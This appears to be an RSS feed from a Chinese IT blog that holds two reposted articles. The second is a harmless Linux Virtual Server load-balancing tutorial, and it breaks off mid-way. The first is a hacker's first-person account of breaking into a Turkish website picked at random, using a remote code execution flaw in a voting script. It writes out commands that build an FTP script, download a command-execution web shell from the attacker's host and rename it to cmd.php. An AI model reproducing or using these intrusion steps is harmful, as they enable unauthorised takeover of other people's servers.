﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-Lycou' Blog-文章分类-技术无底</title><link>http://www.cnitblog.com/lycou/category/4782.html</link><description>Lycou' Blog</description><language>zh-cn</language><lastBuildDate>Sat, 15 Oct 2011 12:21:46 GMT</lastBuildDate><pubDate>Sat, 15 Oct 2011 12:21:46 GMT</pubDate><ttl>60</ttl><item><title>linux+apache+php的一次拿webshell的心得</title><link>http://www.cnitblog.com/lycou/articles/22525.html</link><dc:creator>Lycou' Blog</dc:creator><author>Lycou' Blog</author><pubDate>Thu, 01 Feb 2007 07:54:00 GMT</pubDate><guid>http://www.cnitblog.com/lycou/articles/22525.html</guid><wfw:comment>http://www.cnitblog.com/lycou/comments/22525.html</wfw:comment><comments>http://www.cnitblog.com/lycou/articles/22525.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/lycou/comments/commentRss/22525.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/lycou/services/trackbacks/22525.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td style="FONT-SIZE: 12pt; COLOR: #ff6600" align="middle" height="32">linux+apache+php的一次拿webshell的心得</td>
						</tr>
						<tr>
								<td align="middle" bgcolor="#f7f7f7" height="25">作者：stealthwalker  来源：邪恶八进制信息安全团队  发布时间：2007-2-1 0:45:26  发布人：<font color="#ff0000">黑客动画吧</font></td>
						</tr>
						<script language="javascript"><![CDATA[
var newasp_fontsize=9;
var newasp_lineheight=12;
                                    ]]&gt;</script>
						<tr>
								<td>
										<p align="right">
												<a title="减小字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&gt;8){NewaspContentLabel.style.fontSize=(--newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(--newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/1.gif" width="15" border="0" />
														<font color="#ff6600">减小字体</font>
												</a>
												<a title="增大字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&lt;64){NewaspContentLabel.style.fontSize=(++newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(++newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/2.gif" width="15" border="0" />
														<font color="#ff6600">增大字体</font>
												</a>
										</p>
										<div class="ContentFont" id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
												<font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">首先俺先声明俺是个菜鸟，俺虽然是菜鸟但俺不会一直是菜鸟的（一旁兄弟喊到：别俺，俺，俺的，说普通话！）。俺，不对，我一直遵照着实践是检验真理的唯一标准这句话学习技术，这不，刚刚实践了一次有了一点小小的心得，拿出来和大家分享一下：）<br />简单介绍一下背景吧（旁白：我kao，你写小说呢？），我一直想拿一个TK国的肉鸡（没有仇啊，只是从来没拿过，想要！），于是google了一个，然后一阵狂扫（哎，固有思路的错）废了半天劲，结果是没戏！正准备走的时候发现了它用的一个投票系统，于是满大街找终于找到了下载地址。dwon下来后，开始阅读代码（当时很激动，第一次尝试漏洞发掘！），结果居然被我找到了一个远程代码执行的漏洞，乎乎，赶紧试了一下，成功！看样子，我要发财了。于是看了看safe_mode=OFF，嘿嘿~~可以执行shell命令。下面的思路很显然了，就是拿webshell。原来在win中碰到mssql可以执行命令的情况最简单的办法就是用echo写入一句话后门，于是赶紧找来php的一句话后门，结果一看傻了眼。linux shell中"&gt;","&lt;","$",";"等等这些字符都是有特殊含义的。而linux下转义特殊字符的方法有两种：<br />1。使用单引号将要转义的字符包含起来<br />2。在需要转义的字符前加上“\”符号。<br /><br />正要兴冲冲地修改一句话后门，才想起来还没看看目标机器的magic_quotes_gpc是怎么设置的。一想到这心里凉了一大节，一般都是ON的啊。实践检验真理，果然被我言中了。因为它一ON，所有的单引号，还有空字符，以及“\”等字符前面又被加上了一个“\”。我的一句后门被改的面目全非还执行个P啊：-（<br /><br />一条路断了，接着找另一条。想到wget下载的方法，这个以前看过很多前辈用过，于是先看看wget存不存在，如图（图中我是为了方便，自己写的一个exp。）：<br /><b></b><br /><img onclick="if(this.width onload=" return="" imgzoom(this,550)?="" />=800) window.open('/Article/UploadPic/2007-2/2007210454786.jpg');" src="/Article/UploadPic/2007-2/2007210454786.jpg" onload="if(this.width&gt;'800')this.width='800';if(this.height&gt;'800')this.height='800';" border=0&gt;<br />看样子是存在的。于是把一个执行cmd功能的php文件cmd.php改成cmd.txt上传到自己的web空间（记得要改后缀啊，因为直接请求一个php文件返回的结果是解析过的，肯定不对的了！），在exp环境中输入wget http：//www.myhost.com/cmd.txt。结果等了半天却是失败了（后来我又<br />google了几个有漏洞的站，只有一个使用wget下载成功的。其它的都失败了！：-（）<br />一条路又没了，哎~~~接着想吧！突然想起来原来在win下使用ftp命令上传webshell的方法，于是回忆了一下过程：<br />1。使用echo命令把ftp指令echo到一个文本文件里<br />2。使用 ftp的-s选项制订这个文本文件，这样下载的整个过程都不需要人工干预了。<br /><br />好，说干就干！需要echo的内容如下：<br />echo open 111.111.111.111 &gt;temp.txt<br />echo username &gt;&gt;temp.txt<br />echo passwd &gt;&gt;temp.txt<br />echo get cmd.txt &gt;&gt;temp.txt<br />echo bye &gt;&gt;temp.txt<br /><br />上面的ip和用户名和密码都是假的，你问我为什么？（我kao，我怕哪为大哥把我的ftp给做了：-）实际用的时候换成你自己的就行了，好，开始在exp环境下echo，一会的功夫就echo完了。确保正确我们在cat一下看看吧：cat ./temp.txt，这一cat不要紧，我又惊了一次！里面的每一行都被重复了一次，如图（这个是我事后为了写这个文章重新做的，所以忘了在最前面echo open 111.111.111.111了，大家知道就行！：-）<br /><b></b><br /><img onclick="if(this.width onload=" return="" imgzoom(this,550)?="" />=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg" onload="if(this.width&gt;'800')this.width='800';if(this.height&gt;'800')this.height='800';" border=0&gt;<br />面对这个问题，再次我让我想到在win+mssql情况下也碰到这样的问题，原因是由于对数据库多次查询造成的结果。当时的解决办法有很多，常用的有：<br />1。如果写入的是一句话后门可以直接echo进去，使用“&gt;”而不是“&gt;&gt;”。<br />2。写入hget.vbs，用来下载指定的文件。这个时候可以才用“：”符号把各行代码连接起来，一次性写入。<br />3。或者是用echo把每行代码都echo到一个不同的文件，然后再用copy命令把这些文件的内容连接起来生成新的文件。<br /><br />还有其它的方法我就不多说了，但很明显，这些方法用在我这里是肯定不行的了！因为我查了一下，cp命令好像不支持“+”连接符。难道没办法了吗？NO！方法是人想出来的，于是乎我查来查去还真让我找到了一个宝贝：uniq命令，这个是linux shell下的自带程序，功能很单一，但恰恰是我们需要的——去除重复行。我再kao一次，thank god！命令帮助如下：<br /><div><b>QUOTE:</b></div><div><br />$ uniq --help<br />Usage: uniq [OPTION]... [INPUT [OUTPUT]]<br />Discard all but one of successive identical lines from INPUT (or<br />standard input), writing to OUTPUT (or standard output).<br /><br />Mandatory arguments to long options are mandatory for short options too.<br />-c, --count       prefix lines by the number of occurrences<br />-d, --repeated     only print duplicate lines<br />-D, --all-repeated[=delimit-method] print all duplicate lines<br />                delimit-method={none(default),prepend,separate}<br />                Delimiting is done with blank lines.<br />-f, --skip-fields=N   avoid comparing the first N fields<br />-i, --ignore-case   ignore differences in case when comparing<br />-s, --skip-chars=N   avoid comparing the first N characters<br />-u, --unique       only print unique lines<br />-w, --check-chars=N   compare no more than N characters in lines<br />    --help   display this help and exit<br />    --version output version information and exit<br /><br />A field is a run of whitespace, then non-whitespace characters.<br />Fields are skipped before chars.<br /><br />Report bugs to &lt;bug-coreutils@gnu.org&gt;.<br /></div><br /><br />常搞黑的应该能认出大多数单词了，我就不多做介绍了。反正用在我这里，就这么简单一句命令就可以搞定：uniq temp.txt &gt;down.txt,如图：<br /><b></b><br /><img onclick="if(this.width onload=" return="" imgzoom(this,550)?="" />=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg" onload="if(this.width&gt;'800')this.width='800';if(this.height&gt;'800')this.height='800';" border=0&gt;<br />哈哈，成了吧？下面用法就很简单了，在exp的提示符下输入ftp &lt;down.txt,然后稍等一会，在ls看一下，哇塞！我kao，我的宝贝已经乖乖的等我了（我嫌麻烦就不抓图了，保证好用，童叟无欺！）。<br />下面的工作就好办了，使用mv改个名字就行了：mv ./cmd.txt ./cmd.php<br /><br />到这里就结束了，我原来在交流版块发过一个求助的帖子，除了几个兄弟回帖外便没有什么价值的东西了。我也是菜鸟，和大多数菜鸟都有一个很不好的习惯：不懂就问。哎~~~其实有些东西不是咱们比老鸟差，而是我们太懒太不知道总结了，所以我们应该是不懂就学，而不是不懂就问！这样，我们才会从菜鸟变成老鸟，才能进步！<br /><br />上面乃是自己的经验总结，看上去很简单，可是却耗费了我不少精力，所以如果您不喜欢请不要打击我，回个帖鼓励鼓励我，我会很感激的。谢谢！<br /></font>
										</div>
										<div>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/lycou/aggbug/22525.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/lycou/" target="_blank">Lycou' Blog</a> 2007-02-01 15:54 <a href="http://www.cnitblog.com/lycou/articles/22525.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux操作系统下的集群原理及实战经历</title><link>http://www.cnitblog.com/lycou/articles/22523.html</link><dc:creator>Lycou' Blog</dc:creator><author>Lycou' Blog</author><pubDate>Thu, 01 Feb 2007 07:53:00 GMT</pubDate><guid>http://www.cnitblog.com/lycou/articles/22523.html</guid><wfw:comment>http://www.cnitblog.com/lycou/comments/22523.html</wfw:comment><comments>http://www.cnitblog.com/lycou/articles/22523.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/lycou/comments/commentRss/22523.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/lycou/services/trackbacks/22523.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td valign="top">
										<table cellspacing="0" cellpadding="0" width="99%" align="center" border="0">
												<tbody>
														<tr>
																<td>
																		<table style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellspacing="0" cellpadding="0" width="100%" border="0">
																				<tbody>
																						<tr>
																								<td style="FONT-SIZE: 12pt; COLOR: #ff6600" align="middle" height="32">Linux操作系统下的集群原理及实战经历</td>
																						</tr>
																						<tr>
																								<td align="middle" bgcolor="#f7f7f7" height="25">作者：佚名  来源：转载  发布时间：2007-1-31 9:56:40  发布人：<font color="#ff0000">黑客动画吧</font></td>
																						</tr>
																						<script language="javascript"><![CDATA[
var newasp_fontsize=9;
var newasp_lineheight=12;
                                    ]]&gt;</script>
																						<tr>
																								<td>
																										<p align="right">
																												<a title="减小字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&gt;8){NewaspContentLabel.style.fontSize=(--newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(--newasp_lineheight)+&quot;pt&quot;;}">
																														<img height="15" src="http://www.hack58.net/images/1.gif" width="15" border="0" />
																														<font color="#ff6600">减小字体</font>
																												</a>
																												<a title="增大字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&lt;64){NewaspContentLabel.style.fontSize=(++newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(++newasp_lineheight)+&quot;pt&quot;;}">
																														<img height="15" src="http://www.hack58.net/images/2.gif" width="15" border="0" />
																														<font color="#ff6600">增大字体</font>
																												</a>
																										</p>
																										<div class="ContentFont" id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
																												<font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">
																														<p>
																																<b>一 集群和Linux上的集群解决方案</b>
																														</p>
																														<p>　　集群系统(Cluster)主要解决下面几个问题： 
</p>
																														<p>　　高可靠性（HA） 
</p>
																														<p>　　利用集群管理软件，当主服务器故障时，备份服务器能够自动接管主服务器的工作，并及时切换过去，以实现对用户的不间断服务。 
</p>
																														<p>　　高性能计算（HP） 
</p>
																														<p>　　即充分利用集群中的每一台计算机的资源，实现复杂运算的并行处理，通常用于科学计算领域，比如基因分析，化学分析等。 
</p>
																														<p>　　负载平衡 
</p>
																														<p>　　即把负载压力根据某种算法合理分配到集群中的每一台计算机上，以减轻主服务器的压力，降低对主服务器的硬件和软件要求。 
</p>
																														<p>　　基于Linux的集群解决方案可谓百花齐放。在实际应用中，最常见的情况是利用集群解决负载平衡问题，比如用于提供WWW服务。在这里主要展示如何使用LVS(Linux Virtial Server)来实现实用的WWW负载平衡集群系统。 
</p>
																														<p>　　<b>二 LVS简介</b></p>
																														<p>　　LVS是章文嵩博士发起和领导的优秀的集群解决方案，许多商业的集群产品，比如RedHat的Piranha，TurboLinux公司的Turbo Cluster等，都是基于LVS的核心代码的。在现实的应用中，LVS得到了大量的部署，请参考http://www.linuxvirtualserver.org/deployment.html。关于Linux LVS的工作原理和更详细的信息，请参考http://www.linuxvirtualserver.org。 
</p>
																														<p>　　<b>三 LVS配置实例 </b></p>
																														<p>　　通过Linux LVS，实现WWW，Telnet服务的负载平衡。这里实现Telnet集群服务仅为了测试上的方便。 
</p>
																														<p>　　LVS有三种负载平衡方式，NAT（Network Address Translation），DR（Direct Routing），IP Tunneling。其中，最为常用的是DR方式，因此这里只说明DR(Direct Routing)方式的LVS负载平衡。为测试方便，4台机器处于同一网段内，通过一交换机或者集线器相连。实际的应用中，最好能将虚拟服务器vs1和真实服务器rs1, rs2置于于不同的网段上，即提高了性能，也加强了整个集群系统的安全性。 
</p>
																														<p>　　<b>服务器的软硬件配置 </b></p>
																														<p>　　首先说明，虽然本文的测试环境中用的是3台相同配置的服务器，但LVS并不要求集群中的服务器规格划一，相反，可以根据服务器的不同配置和负载情况，调整负载分配策略，充分利用集群环境中的每一台服务器。 
</p>
																														<p>　　这3台服务器中，vs1作为虚拟服务器（即负载平衡服务器），负责将用户的访问请求转发到集群内部的rs1,rs2，然后由rs1,rs2分别处理。client为客户端测试机器，可以为任意操作系统。 4台服务器的操作系统和网络配置分别为： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>vs1: RedHat 6.2, Kernel 2.2.19  
vs1: eth0 192.168.0.1  
vs1: eth0:101 192.168.0.101  
rs1: RedHat 6.2, Kernel 2.2.14  
rs1: eth0 192.168.0.3  
rs1: dummy0 192.168.0.101  
rs2: RedHat 6.2, Kernel 2.2.14  
rs2: eth0 192.168.0.4  
rs2: dummy0 192.168.0.101  
client: <a class="wordstyle" href="http://www.hack58.net/" target="_blank"><font color="#002c99">Windows</font></a> 2000  
client: eth0 192.168.0.200</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　其中，192.168.0.101是允许用户访问的IP。 </p>
																														<p>
																																<b>虚拟服务器的集群配置</b>
																														</p>
																														<p>　　大部分的集群配置工作都在虚拟服务器vs1上面，需要下面的几个步骤： 
</p>
																														<p>　　重新编译内核。 
</p>
																														<p>　　首先，下载最新的Linux内核，版本号为2.2.19，下载地址为：http://www.kernel.org/，解压缩后置于/usr/src/linux目录下。 
</p>
																														<p>　　其次需要下载LVS的内核补丁，地址为：http://www.linuxvirtualserver.org/software/ipvs-1.0.6-2.2.19.tar.gz。这里注意，如果你用的Linux内核不是2.2.19版本的，请下载相应版本的LVS内核补丁。将ipvs-1.0.6-2.2.19.tar.gz解压缩后置于/usr/src/linux目录下。 
</p>
																														<p>　　然后，对内核打补丁，如下操作： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>[root@vs2 /root]# cd /usr/src/linux  
[root@vs2 linux]# patch -p1 &lt; ipvs-1.0.6-2.2.19/ipvs-1.0.6-2.2.19.  
patch</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　下面就是重新配置和编译Linux的内核。特别注意以下选项： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>1 Code maturity level options---&gt;  
* [*]Prompt for development and/or incomplete code/drivers  
2 Networking部分：  
[*] Kernel/User netlink socket  
[*] Routing messages  
&lt;*&gt; Netlink device emulation  
* [*] Network firewalls  
[*] Socket Filtering  
&lt;*&gt; Unix domain sockets  
* [*] TCP/IP networking  
[*] IP: multicasting  
[*] IP: advanced router  
[ ] IP: policy routing  
[ ] IP: equal cost multipath  
[ ] IP: use TOS value as routing key  
[ ] IP: verbose route monitoring  
[ ] IP: large routing tables  
[ ] IP: kernel level autoconfiguration  
* [*] IP: firewalling  
[ ] IP: firewall packet netlink device  
* [*] IP: transparent proxy support  
* [*] IP: masquerading  
--- Protocol-specific masquerading support will be built as modules.  
* [*] IP: ICMP masquerading  
--- Protocol-specific masquerading support will be built as modules.  
* [*] IP: masquerading special modules support  
* IP: ipautofw masq support (EXPERIMENTAL)(NEW)  
* IP: ipportfw masq support (EXPERIMENTAL)(NEW)  
* IP: ip fwmark masq-forwarding support (EXPERIMENTAL)(NEW)  
* [*] IP: masquerading virtual server support (EXPERIMENTAL)(NEW)  
[*] IP Virtual Server debugging (NEW) &lt;--最好选择此项，以便观察LVS的调试信息  
* (12) IP masquerading VS table size (the Nth power of 2) (NEW)  
* IPVS: round-robin scheduling (NEW)  
* IPVS: weighted round-robin scheduling (NEW)  
* IPVS: least-connection scheduling (NEW)  
* IPVS: weighted least-connection scheduling (NEW)  
* IPVS: locality-based least-connection scheduling (NEW)  
* IPVS: locality-based least-connection with replication scheduling  
(NEW)  
* [*] IP: optimize as router not host  
* IP: tunneling  
IP: GRE tunnels over IP  
[*] IP: broadcast GRE over IP  
[*] IP: multicast routing  
[*] IP: PIM-SM version 1 support  
[*] IP: PIM-SM version 2 support  
* [*] IP: aliasing support  
[ ] IP: ARP daemon support (EXPERIMENTAL)  
* [*] IP: TCP syncookie support (not enabled per default)  
--- (it is safe to leave these untouched)  
&lt; &gt; IP: Reverse ARP  
[*] IP: Allow large <a class="wordstyle" href="http://www.hack58.net/" target="_blank"><font color="#002c99">windows</font></a> (not recommended if &lt;16Mb of memory)  
&lt; &gt; The IPv6 protocol (EXPERIMENTAL)</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>上面，带*号的为必选项。然后就是常规的编译内核过程，不再赘述。 </p>
																														<p>　　在这里要注意一点：如果你使用的是RedHat自带的内核或者从RedHat下载的内核版本，已经预先打好了LVS的补丁。这可以通过查看/usr/src/linux/net/目录下有没有几个ipvs开头的文件来判断：如果有，则说明已经打过补丁。 
</p>
																														<p>　　编写LVS配置文件，实例中的配置文件如下： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>#lvs_dr.conf (C) Joseph Mack mack@ncifcrf.gov  
LVS_TYPE=VS_DR  
INITIAL_STATE=on  
VIP=eth0:101 192.168.0.101 255.255.255.0 192.168.0.0  
DIRECTOR_INSIDEIP=eth0 192.168.0.1 192.168.0.0 255.255.255.0 192.168.0. 255  
SERVICE=t telnet rr rs1:telnet rs2:telnet  
SERVICE=t www rr rs1:www rs2:www  
SERVER_VIP_DEVICE=dummy0  
SERVER_NET_DEVICE=eth0  
#----------end lvs_dr.conf------------------------------------</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　将该文件置于/etc/lvs目录下。 
</p>
																														<p>　　使用LVS的配置脚本产生lvs.conf文件。该配置脚本可以从http://www.linuxvirtualserver.org/Joseph.Mack/configure-lvs_0.8.tar.gz 单独下载，在ipvs-1.0.6-2.2.19.tar.gz包中也有包含脚本configure的使用方法： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>[root@vs2 lvs]# configure lvs.conf</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　这样会产生几个配置文件，这里我们只使用其中的rc.lvs_dr文件。修改/etc/rc.d/init.d/rc.local，增加如下几行： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>echo 1 &gt; /proc/sys/net/ipv4/ip_forward  
echo 1 &gt; /proc/sys/net/ipv4/ip_always_defrag  
# 显示最多调试信息  
echo 10 &gt; /proc/sys/net/ipv4/vs/debug_level</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　配置NFS服务。这一步仅仅是为了方便管理，不是必须的步骤。假设配置文件lvs.conf文件放在/etc/lvs目录下，则/etc/exports文件的内容为： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>/etc/lvs ro(rs1,rs2)</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　然后使用exportfs命令输出这个目录: 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>[root@vs2 lvs]# exportfs</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　如果遇到什么麻烦，可以尝试： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>[root@vs2 lvs]# /etc/rc.d/init.d/nfs restart  
[root@vs2 lvs]# exportfs</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　这样，各个real server可以通过NFS获得rc.lvs_dr文件，方便了集群的配置:你每次修改lvs.conf中的配置选项，都可以即可反映在rs1,rs2的相应目录里。 修改/etc/syslogd.conf，增加如下一行： kern.* /var/log/kernel_log。这样，LVS的一些调试信息就会写入/var/log/kernel_log文件中。 </p>
																														<p>
																																<b>Real Server的配置 </b>
																														</p>
																														<p>　　Real Server的配置相对简单，主要是是以下几点： 
</p>
																														<p>　　配置telnet和WWW服务。telnet服务没有需要特别注意的事项，但是对于www服务，需要修改httpd.conf文件，使得apache在虚拟服务器的ip地址上监听，如下所示： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>Listen 192.168.0.101:80</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　关闭Real Server上dummy0的arp请求响应能力。这是必须的，具体原因请参见 ARP problem in LVS/TUN and LVS/DR关闭dummy0的arp响应的方式有多种，比较简单地方法是，修改/etc/rc.d/rc.local文件，增加如下几行： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>echo 1 &gt; /proc/sys/net/ipv4/conf/all/hidden  
ifconfig dummy0 up  
ifconfig dummy0 192.168.0.101 netmask 255.255.255.0 broadcast 192.168. 0.0 up  
echo 1 &gt; /proc/sys/net/ipv4/conf/dummy0/hidden  
再次修改/etc/rc.d/rc.local，增加如下一行：（可以和步骤2合并）  
echo 1 &gt; /proc/sys/net/ipv4/ip_forward</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　<b>四 LVS的测试 </b></p>
																														<p>　　好了，经过了上面的配置步骤，现在可以测试LVS了，步骤如下： 
</p>
																														<p>　　分别在vs1，rs1，rs2上运行/etc/lvs/rc.lvs_dr。注意，rs1,rs2上面的/etc/lvs目录是vs2输出的。如果您的NFS配置没有成功，也可以把vs1上/etc/lvs/rc.lvs_dr复制到rs1,rs2上，然后分别运行。确保rs1,rs2上面的apache已经启动并且允许telnet。 
</p>
																														<p>　　然后从client运行telnet 192.168.0.101，如果登录后看到如下输出就说明集群已经开始工作了。（假设以guest用户身份登录） 
</p>
																														<p>　　[guest@rs1 guest]$-----------说明已经登录到服务器rs1上。 
</p>
																														<p>　　再开启一个telnet窗口，登录后会发现系统提示变为： 
</p>
																														<p>　　[guest@rs2 guest]$-----------说明已经登录到服务器rs2上。 
</p>
																														<p>　　然后在vs2上运行如下命令： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>[root@vs2 /root]ipvsadm</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　运行结果应该为： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
																																		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
																																				<tbody>
																																						<tr>
																																								<td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6">
																																										<pre>
																																												<ccid_code>IP Virtual Server version 1.0.6 (size=4096)  
Prot LocalAddress:Port Scheduler Flags  
-&gt; RemoteAddress:Port Forward Weight ActiveConn InActConn  
TCP 192.168.0.101:telnet rr  
-&gt; rs2:telnet Route 1 1 0  
-&gt; rs1:telnet Route 1 1 0  
TCP 192.168.0.101:www rr  
-&gt; rs2:www Route 1 0 0  
-&gt; rs1:www Route 1 0 0</ccid_code>
																																										</pre>
																																								</td>
																																						</tr>
																																				</tbody>
																																		</table>
																																</ccid_nobr>
																														</center>
																														<p>　　至此已经验证telnet的LVS正常。然后测试一下WWW是否正常：用你的浏览器查看http://192.168.0.101/是否有什么变化？为了更明确的区别响应来自那个Real Server，可以在rs1,rs2上面分别放置如下的测试页面(test.html)： 
</p>
																														<p>
																														</p>
																														<center>
																																<ccid_nobr>
